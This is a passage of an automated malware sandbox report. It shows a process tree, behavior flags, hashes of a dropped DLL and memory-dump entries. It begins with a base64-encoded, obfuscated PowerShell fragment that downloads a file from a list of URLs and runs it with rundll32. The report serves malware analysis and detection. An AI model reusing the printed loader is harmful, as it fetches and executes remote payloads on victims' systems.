ACcAKQApAFsAMABdACkALgAiAFMAUABMAGAAaQBUACIAKAAkAEoAYwB4ADIANQB0ADcAIAArACAAJABUAHcAbwA1AHoAdQBjACAAKwAgACQAUQAyAHUAdgBjAGwAcgApADsAJABFAGQAcAAxAHcAYQBtAD0AKAAnAFkAawAnACsAKAAnAG8AJwArACcAbQAxAGkAJwApACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQQA0AHMAdwBoAHIAegAgAGkAbgAgACQAWgB4AGkAawBqAHMAaAAgAHwAIABTAG8AcgBgAFQALQBvAGAAQgBqAGAAZQBDAFQAIAB7AGcARQBUAC0AYABSAEEATgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABRAHEAcQBsAGgAZQA5AC4AIgBkAG8AVwBOAGwAbwBgAEEARABmAGkAYABMAGUAIgAoACQAQQA0AHMAdwBoAHIAegAsACAAJABTAG8AMgB2ADMAYgBoACkAOwAkAEkAcgByAHoAMAAwAHoAPQAoACgAJwBWADAAJwArACcAaAA5AHAAJwArACcAdAAnACkAKwAnADkAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAbwAyAHYAMwBiAGgAKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADYANgA2ADEAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAJwArACcAMwAnACsAJwAyAC4AZQB4ACcAKwAnAGUAJwApACAAJABTAG8AMgB2ADMAYgBoACwAMAA7ACQARQAxAGsAaQAzAHAAbQA9ACgAKAAnAFoANQB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcANQBwACcAKQApADsAYgByAGUAYQBrADsAJABMAGoAdgA2ADMAZQBpAD0AKAAoACcAWAA4ACcAKwAnAHkAJwApACsAJwA1AHAAJwArACcAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBqAHQAcwBvADYAdQA9ACgAKAAnAEQAXwBfACcAKwAnAGYAZgAnACkAKwAnAHAAJwArACcAagAnACkA2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dll,03⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dll,04⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dllMD5
07933a6cf4e14f0460f97af63d8f3ac0
SHA1eba135c31282c262403c4336538c6bb390b27e03
SHA256e11439ed39e10fcc1e340b61af59f7250f19508a50866afc291a90c32eae448a
SHA512fb55800ccc22af1836bd6e045fe5576c0300340261d9452660e5eedccfa0f3a4a815d629cb631a206ef3d5251164f010d0a76df14f7fd02ded16aeb714a5bd34
-
\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dllMD5
07933a6cf4e14f0460f97af63d8f3ac0
SHA1eba135c31282c262403c4336538c6bb390b27e03
SHA256e11439ed39e10fcc1e340b61af59f7250f19508a50866afc291a90c32eae448a
SHA512fb55800ccc22af1836bd6e045fe5576c0300340261d9452660e5eedccfa0f3a4a815d629cb631a206ef3d5251164f010d0a76df14f7fd02ded16aeb714a5bd34
-
memory/580-0-0x00007FFC30460000-0x00007FFC30A97000-memory.dmpFilesize
6.2MB
-
memory/580-1-0x000001CDD21DF000-0x000001CDD21F7000-memory.dmpFilesize
96KB
-
memory/1336-5-0x0000000000000000-mapping.dmp
-
memory/2136-6-0x0000000000000000-mapping.dmp
-
memory/2136-7-0x00007FFC29DE0000-0x00007FFC2A7CC000-memory.dmpFilesize
9.9MB
-
memory/2136-8-0x000001CE65F20000-0x000001CE65F21000-memory.dmpFilesize
4KB
-
memory/2136-9-0x000001CE7E260000-0x000001CE7E261000-memory.dmpFilesize
4KB
-
memory/3336-12-0x0000000000000000-mapping.dmp
-
memory/3336-14-0x0000000004CA0000-0x0000000004CDD000-memory.dmpFilesize
244KB
-
memory/4032-10-0x0000000000000000-mapping.dmp